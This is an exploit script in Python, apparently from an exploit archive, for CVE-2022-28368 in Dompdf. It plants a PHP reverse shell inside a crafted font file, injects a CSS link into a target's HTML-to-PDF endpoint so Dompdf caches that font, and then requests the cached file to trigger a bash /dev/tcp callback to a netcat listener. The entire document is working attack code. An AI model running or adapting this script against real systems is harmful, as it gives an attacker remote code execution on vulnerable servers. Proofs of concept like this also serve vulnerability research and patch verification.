1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 |
#!/usr/bin/python3 # Exploit Title: Dompdf 1.2.1 - Remote Code Execution (RCE) # Date: 16 February 2023 # Exploit Author: Ravindu Wickramasinghe (@rvizx9) # Vendor Homepage: https://dompdf.github.io/ # Software Link: https://github.com/dompdf/dompdf # Version: <1.2.1 # Tested on: Kali linux # CVE : CVE-2022-28368 # Github Link : https://github.com/rvizx/CVE-2022-28368 import subprocess import re import os import sys import curses import requests import base64 import argparse import urllib.parse from urllib.parse import urlparse def banner(): print(''' \033[2mCVE-2022-28368\033[0m - Dompdf RCE\033[2m PoC Exploit \033[0mRavindu Wickramasinghe\033[2m | rvz- @rvizx9 https://github.com/rvizx/\033[0mCVE-2022-28368 ''') exploit_font = b"AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" def get_ip_addresses(): output = subprocess.check_output(['ifconfig']).decode() ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' ip_addresses = re.findall(ip_pattern, output) ip_addresses = [ip for ip in ip_addresses if not ip.startswith('255')] ip_addresses = list(set(ip_addresses)) ip_addresses.insert(0, 'localhost') return ip_addresses def choose_ip_address(stdscr, ip_addresses): curses.curs_set(0) curses.noecho() stdscr.keypad(True) current_row = 0 num_rows = len(ip_addresses) stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n") while True: stdscr.clear() stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n") for i, ip_address in enumerate(ip_addresses): if i == current_row: stdscr.addstr(ip_address, curses.A_REVERSE) else: stdscr.addstr(ip_address) stdscr.addstr("\n") key = stdscr.getch() if key == curses.KEY_UP and current_row > 0: current_row -= 1 elif key == curses.KEY_DOWN and current_row < num_rows - 1: current_row += 1 elif key == curses.KEY_ENTER or key in [10, 13]: return ip_addresses[current_row] def help(): print(''' usage: ./dompdf-rce --inject <css-inject-endpoint> --dompdf <dompdf-instance> example: ./dompdf-rce --inject https://vuln.rvz/dev/convert-html-to-pdf?html= --dompdf https://vuln.rvz/dompdf/ notes: - Provide the parameters in the URL (regardless the request method) - Known Issues!- Testing with https://github.com/positive-security/dompdf-rce The program has been successfully tested for RCE on some systems where dompdf was implemented, But there may be some issues when testing with the dompdf-rce PoC at https://github.com/positive-security/dompdf-rce due to a known issue described at https://github.com/positive-security/dompdf-rce/issues/2. In this application, the same implementationwas added for now. Although it may be pointless at the moment, you can still manually add the payload by copying the exploit_font.php file to ../path-to-dompdf-rce/dompdf/applicaiton/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php - more : https://www.cve.org/CVERecord?id=CVE-2022-28368 ''') sys.exit() def check_url(url): regex = re.compile( r'^(?:http|ftp)s?://' r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' r'localhost|' r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' r'(?::\d+)?' r'(?:/?|[/?]\S+)$', re.IGNORECASE) if not re.match(regex, url): print(f"\033[91m[err]:\033[0m {url} is not a valid url") return False else: return True def final_param(url): query_start = url.rfind('?') if query_start == -1: query_start = url.rfind('&') if query_start == -1: return None query_string = url[query_start+1:] for param in reversed(query_string.split('&')): if '=' in param: name = param.split('=')[0] if name: return name return None if __name__ == '__main__': banner() ports = ['9001', '9002'] for port in ports: try: processes = subprocess.check_output(["lsof", "-i", "TCP:9001-9002"]).decode("utf-8") for line in processes.split("\n"): if "LISTEN" in line: pid = line.split()[1] port = line.split()[8].split(":")[1] if port == "9001" or port == "9002": os.system("kill -9 {}".format(pid)) print(f'\033[94m[inf]:\033[0m processes running on port {port} have been terminated') except: pass if len(sys.argv) == 1: print("\033[91m[err]:\033[0m no endpoints were provided. try --help") sys.exit(1) elif sys.argv[1] == "--help" or sys.argv[1] == "-h": help() elif len(sys.argv) > 1: parser = argparse.ArgumentParser(description='',add_help=False, usage="./dompdf-rce --inject <css-inject-endpoint/file-with-multiple-endpoints> --dompdf <dompdf-instance-endpoint>") parser.add_argument('--inject', type=str, help='[info] provide the url of the css inject endpoint', required=True) parser.add_argument('--dompdf', type=str, help='[info] provide the url of the dompdf instance', required=True) args = parser.parse_args() injectpoint = args.inject dompdf_url = args.dompdf if not check_url(injectpoint) and (not check_url(dompdf_url)): sys.exit() param=final_param(injectpoint) if param == None: print("\n\033[91m[err]: no parameters were provided! \033[0mnote: provide the parameters in the url (--inject-css-endpoint url?param=) ") sys.exit() ip_addresses = get_ip_addresses() sip = curses.wrapper(choose_ip_address, ip_addresses) print(f'\033[94m[inf]:\033[0m selected ip address: {sip}') shell = '''<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/'''+sip+'''/9002 0>&1'");?>''' print("\033[94m[inf]:\033[0m using payload: " +shell) print("\033[94m[inf]:\033[0m generating exploit.css and exploit_font.php files...") decoded_data = base64.b64decode(exploit_font).decode('utf-8') decoded_data += '\n' + shell css = ''' @font-face { font-family:'exploitfont'; src:url('http://'''+sip+''':9001/exploit_font.php'); font-weight:'normal'; font-style:'normal'; } ''' with open("exploit.css","w") as f: f.write(css) with open("exploit_font.php","w") as f: f.write(decoded_data) print("\033[94m[inf]:\033[0m starting http server on port 9001..") http_server = subprocess.Popen(['python', '-m', 'http.server', '9001']) url = "http://"+sip+":9001/exploit_font.php" echo_output = subprocess.check_output(['echo', '-n', url.encode()]) md5sum_output = subprocess.check_output(['md5sum'], input=echo_output) md5_hash = md5sum_output.split()[0].decode() print("\033[94m[inf]:\033[0m url hash: "+md5_hash) print("\033[94m[inf]:\033[0m filename: exploitfont_normal_"+md5_hash+".php") print("\033[94m[inf]:\033[0m sending the payloads..\n") url = injectpoint if url.endswith("/"): url = url[:-1] headers = { 'Host': urlparse(injectpoint).hostname, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Content-Type': 'application/x-www-form-urlencoded', } payload="<link rel=stylesheet href=\'http://"+sip+":9001/exploit.css\'>" data = '{\r\n"'+param+'": "'+payload+'"\r\n}' try: response1 = requests.get(url+urllib.parse.quote(payload),headers=headers,) response2 = requests.post(url, headers=headers, data=data, verify=False) except: print("\033[91m[err]:\033[0m failed to send the requests! check connection to the host") sys.exit() if response1.status_code == 200 or response2.status_code == 200: print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: 200") else: print("\n\033[91m[err]: failed to send the exploit.css!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response1.status_code)+","+str(response2.status_code)) print("\033[94m[inf]:\033[0m terminating the http server..") http_server.terminate() print("\033[93m[ins]:\033[0m start a listener on port 9002 (execute the command on another terminal and press enter)") print("\nnc -lvnp 9002") input("\n\033[93m[ins]:\033[0m press enter to continue!") print("\033[93m[ins]:\033[0m check for connections!") del headers['Content-Type'] url = dompdf_url if url.endswith("/"): url = url[:-1] url+="/lib/fonts/exploitfont_normal_"+md5_hash+".php" response = requests.get( url, headers=headers, verify=False,) if response.status_code == 200: print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code)) else: print("\n\033[91m[err]: failed to trigger the payload! \033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code)) print("\033[94m[inf]:\033[0m process complete!") |